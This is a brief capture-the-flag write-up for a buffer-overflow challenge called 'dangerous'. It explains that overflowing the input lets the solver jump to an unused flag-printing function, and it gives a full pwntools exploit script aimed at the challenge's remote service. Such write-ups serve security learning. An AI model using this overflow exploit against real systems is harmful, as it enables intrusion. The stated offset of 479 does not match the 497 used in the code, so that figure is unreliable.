Tags: pwntools python 

Rating: 2.0

The challenge provides a binary `dangerous` and a remote service. Inspection of the binary shows a buffer overflow with control of the instruction pointer after 479 input characters. An unused function to load and print the flag can be seen in the disassembled code. The solution is to jump to this unused function and get the flag.

```
#!/usr/bin/env python3
from pwn import *

context.log_level = 'DEBUG'
# t = process('./dangerous') # local
# t = gdb.debug('./dangerous', '\n'.join(['c', 'b *0x4011d6'])) # debug
t = remote('jh2i.com', 50011) # remote

buf = 497 * b'A' # junk
buf += b'\x0e\x13\x40\x00' + 8 * b'\x00' # flag dump function address

t.recvuntil(b'name?\n')
t.sendline(buf)
t.interactive()
```